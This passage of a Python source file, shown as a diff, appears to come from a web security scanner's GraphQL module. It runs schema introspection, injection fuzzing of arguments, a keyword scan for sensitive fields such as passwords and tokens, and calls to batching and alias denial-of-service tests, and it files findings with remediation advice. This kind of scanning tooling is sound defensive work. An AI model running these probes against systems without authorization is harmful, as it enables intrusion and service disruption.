|
| 408 |
+
"4. Implement least-privilege database access.\n"
|
| 409 |
+
"5. Regularly audit and test for injection vulnerabilities."
|
| 410 |
+
),
|
| 411 |
+
evidence=f"SQL error pattern matched: {pattern}",
|
| 412 |
+
payload=SQLI_GQL_QUERY,
|
| 413 |
+
request_details=f"URL: {url}",
|
| 414 |
+
response_details=f"Error message: {error_str[:200]}",
|
| 415 |
+
confidence="Confirmed" if any(re.search(p, error_str, re.IGNORECASE) for p in SQLI_ERROR_PATTERNS) else "Medium",
|
| 416 |
+
)
|
| 417 |
+
return True
|
| 418 |
+
except json.JSONDecodeError:
|
| 419 |
+
pass
|
| 420 |
+
except Exception as e:
|
| 421 |
+
self.log("ERROR", f"[GraphQL] Error testing SQLi: {e}")
|
| 422 |
+
|
| 423 |
+
return False
|
| 424 |
+
|
| 425 |
+
def _test_graphql_params_fuzz(self, url):
|
| 426 |
+
try:
|
| 427 |
+
body, status = self._make_gql_request(url, TEST_QUERIES["introspection"])
|
| 428 |
+
if not body:
|
| 429 |
+
return
|
| 430 |
+
data = json.loads(body)
|
| 431 |
+
schema = data.get("data", {}).get("__schema", {})
|
| 432 |
+
query_type = schema.get("queryType", {})
|
| 433 |
+
fields = query_type.get("fields", []) if query_type else []
|
| 434 |
+
params = {}
|
| 435 |
+
for field in fields:
|
| 436 |
+
for arg in field.get("args", []):
|
| 437 |
+
params[arg["name"]] = "test"
|
| 438 |
+
mutation_type = schema.get("mutationType", {})
|
| 439 |
+
if mutation_type:
|
| 440 |
+
for field in mutation_type.get("fields", []):
|
| 441 |
+
for arg in field.get("args", []):
|
| 442 |
+
params[arg["name"]] = "test"
|
| 443 |
+
if not params:
|
| 444 |
+
params = {"query": "test", "id": "1", "filter": "test"}
|
| 445 |
+
self.log("INFO", f"[GraphQL] Context-aware fuzzing {len(params)} parameter(s) at {url}")
|
| 446 |
+
self._fuzzer.fuzz(url, params)
|
| 447 |
+
baseline_body, _ = self._make_gql_request(url, TEST_QUERIES["basic_query"])
|
| 448 |
+
baseline_length = len(baseline_body or "")
|
| 449 |
+
anomalies = self._fuzzer.anomalies(baseline_length)
|
| 450 |
+
for anom in anomalies:
|
| 451 |
+
self._vulns_found += 1
|
| 452 |
+
self.log("WARNING", f"[GraphQL] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
|
| 453 |
+
self.add_vuln(
|
| 454 |
+
title=f"GraphQL — Parameter Injection ({anom['param']})",
|
| 455 |
+
severity="High",
|
| 456 |
+
category="Injection",
|
| 457 |
+
cvss_score=7.5,
|
| 458 |
+
description=(
|
| 459 |
+
f"GraphQL parameter '{anom['param']}' (classified as '{anom['type']}') "
|
| 460 |
+
f"at {url} returned an anomalous response when mutated with "
|
| 461 |
+
f"'{anom['mutation']}' (value: {anom['value']}). "
|
| 462 |
+
f"HTTP {anom['status']}, response length {anom['length']}."
|
| 463 |
+
),
|
| 464 |
+
remediation="Validate and sanitize all GraphQL argument inputs. Use parameterized queries, input type enforcement, and proper output encoding.",
|
| 465 |
+
cwe_ids=["CWE-20"],
|
| 466 |
+
owasp_category="A03:2021 – Injection",
|
| 467 |
+
)
|
| 468 |
+
except Exception as e:
|
| 469 |
+
self.log("ERROR", f"[GraphQL] Error in param fuzzing: {e}")
|
| 470 |
+
|
| 471 |
+
def _test_authorization(self, url):
|
| 472 |
+
"""Test for authorization bypass in GraphQL."""
|
| 473 |
+
try:
|
| 474 |
+
test_query = """
|
| 475 |
+
{
|
| 476 |
+
__schema {
|
| 477 |
+
queryType {
|
| 478 |
+
fields { name args { name type { name } } }
|
| 479 |
+
}
|
| 480 |
+
}
|
| 481 |
+
}
|
| 482 |
+
"""
|
| 483 |
+
|
| 484 |
+
body, status = self._make_gql_request(url, test_query)
|
| 485 |
+
if not body:
|
| 486 |
+
return False
|
| 487 |
+
|
| 488 |
+
try:
|
| 489 |
+
response_json = json.loads(body)
|
| 490 |
+
if "data" in response_json:
|
| 491 |
+
data = response_json["data"]
|
| 492 |
+
if "__schema" in data:
|
| 493 |
+
fields = data["__schema"].get("queryType", {}).get("fields", [])
|
| 494 |
+
sensitive_fields = []
|
| 495 |
+
for field in fields:
|
| 496 |
+
field_name = field.get("name", "").lower()
|
| 497 |
+
if any(s in field_name for s in ["user", "password", "secret", "key", "token", "admin"]):
|
| 498 |
+
sensitive_fields.append(field.get("name"))
|
| 499 |
+
|
| 500 |
+
if sensitive_fields:
|
| 501 |
+
self.log("WARNING", f"[GraphQL] Discovered potentially sensitive fields: {sensitive_fields}")
|
| 502 |
+
self.add_vuln(
|
| 503 |
+
title="GraphQL — Sensitive Field Exposure",
|
| 504 |
+
severity="Medium",
|
| 505 |
+
category="Information Disclosure",
|
| 506 |
+
cvss_score=5.5,
|
| 507 |
+
description=(
|
| 508 |
+
f"GraphQL schema exposes potentially sensitive fields: {', '.join(sensitive_fields)}. "
|
| 509 |
+
"These fields may contain sensitive information that should be protected."
|
| 510 |
+
),
|
| 511 |
+
remediation=(
|
| 512 |
+
"1. Review and restrict field access based on user roles\n"
|
| 513 |
+
"2. Implement field-level authorization\n"
|
| 514 |
+
"3. Use custom resolvers with proper access checks\n"
|
| 515 |
+
"4. Audit schema for sensitive data exposure"
|
| 516 |
+
),
|
| 517 |
+
evidence=f"Sensitive fields: {', '.join(sensitive_fields)}",
|
| 518 |
+
payload="Schema field discovery query",
|
| 519 |
+
request_details=f"URL: {url}",
|
| 520 |
+
response_details=f"Fields found: {[f.get('name') for f in fields[:10]]}",
|
| 521 |
+
confidence="High",
|
| 522 |
+
)
|
| 523 |
+
return True
|
| 524 |
+
except json.JSONDecodeError:
|
| 525 |
+
pass
|
| 526 |
+
except Exception as e:
|
| 527 |
+
self.log("ERROR", f"[GraphQL] Error testing authorization: {e}")
|
| 528 |
+
|
| 529 |
+
return False
|
| 530 |
+
|
| 531 |
+
def _discover_graphql_endpoints(self):
|
| 532 |
+
"""Discover GraphQL endpoints."""
|
| 533 |
+
endpoints = []
|
| 534 |
+
base_url = self.target.rstrip("/")
|
| 535 |
+
|
| 536 |
+
for path in GRAPHQL_ENDPOINTS:
|
| 537 |
+
url = f"{base_url}{path}"
|
| 538 |
+
is_graphql, method = self._detect_graphql_endpoint(url)
|
| 539 |
+
if is_graphql:
|
| 540 |
+
endpoints.append((url, method))
|
| 541 |
+
self.log("INFO", f"[GraphQL] Discovered GraphQL endpoint: {url} ({method})")
|
| 542 |
+
|
| 543 |
+
is_graphql, method = self._detect_graphql_endpoint(self.target)
|
| 544 |
+
if is_graphql:
|
| 545 |
+
endpoints.append((self.target, method))
|
| 546 |
+
self.log("INFO", f"[GraphQL] Main URL is GraphQL endpoint: {self.target} ({method})")
|
| 547 |
+
|
| 548 |
+
return endpoints
|
| 549 |
+
|
| 550 |
+
def run(self):
|
| 551 |
+
self.log("INFO", f"[GraphQL] Starting GraphQL security scanning on {self.target}...")
|
| 552 |
+
|
| 553 |
+
try:
|
| 554 |
+
# Step 1: Discover GraphQL endpoints
|
| 555 |
+
self.log("INFO", "[GraphQL] Discovering GraphQL endpoints...")
|
| 556 |
+
endpoints = self._discover_graphql_endpoints()
|
| 557 |
+
self.log("INFO", f"[GraphQL] Found {len(endpoints)} GraphQL endpoint(s)")
|
| 558 |
+
|
| 559 |
+
if not endpoints:
|
| 560 |
+
self.log("INFO", "[GraphQL] No GraphQL endpoints detected")
|
| 561 |
+
return self.vulns
|
| 562 |
+
|
| 563 |
+
# Step 2: Test each endpoint
|
| 564 |
+
for url, method in endpoints:
|
| 565 |
+
self._tested_endpoints += 1
|
| 566 |
+
self.log("INFO", f"[GraphQL] Testing endpoint: {url}")
|
| 567 |
+
|
| 568 |
+
if self._test_introspection(url):
|
| 569 |
+
pass
|
| 570 |
+
|
| 571 |
+
self._test_query_depth(url)
|
| 572 |
+
|
| 573 |
+
self._test_authorization(url)
|
| 574 |
+
|
| 575 |
+
self._test_batching_attack(url)
|
| 576 |
+
|
| 577 |
+
self._test_alias_dos(url)
|
| 578 |
+
|
| 579 |
+
self._test_graphql_sqli(url)
|
| 580 |
+
|
| 581 |
+
self._test_graphql_params_fuzz(url)
|
| 582 |
+
|
| 583 |
+
except Exception as e:
|
| 584 |
+
self.log("ERROR", f"[GraphQL] Unexpected error during scan: {e}")
|
| 585 |
+
|
| 586 |
+
self.log("SUCCESS" if not self.vulns else "WARNING",
|
| 587 |
+
f"[GraphQL] Complete — {self._tested_endpoints} endpoint(s) tested | "
|
| 588 |
+
f"{self._vulns_found} vulnerability/vulnerabilities found")
|
| 589 |
+
return self.vulns
|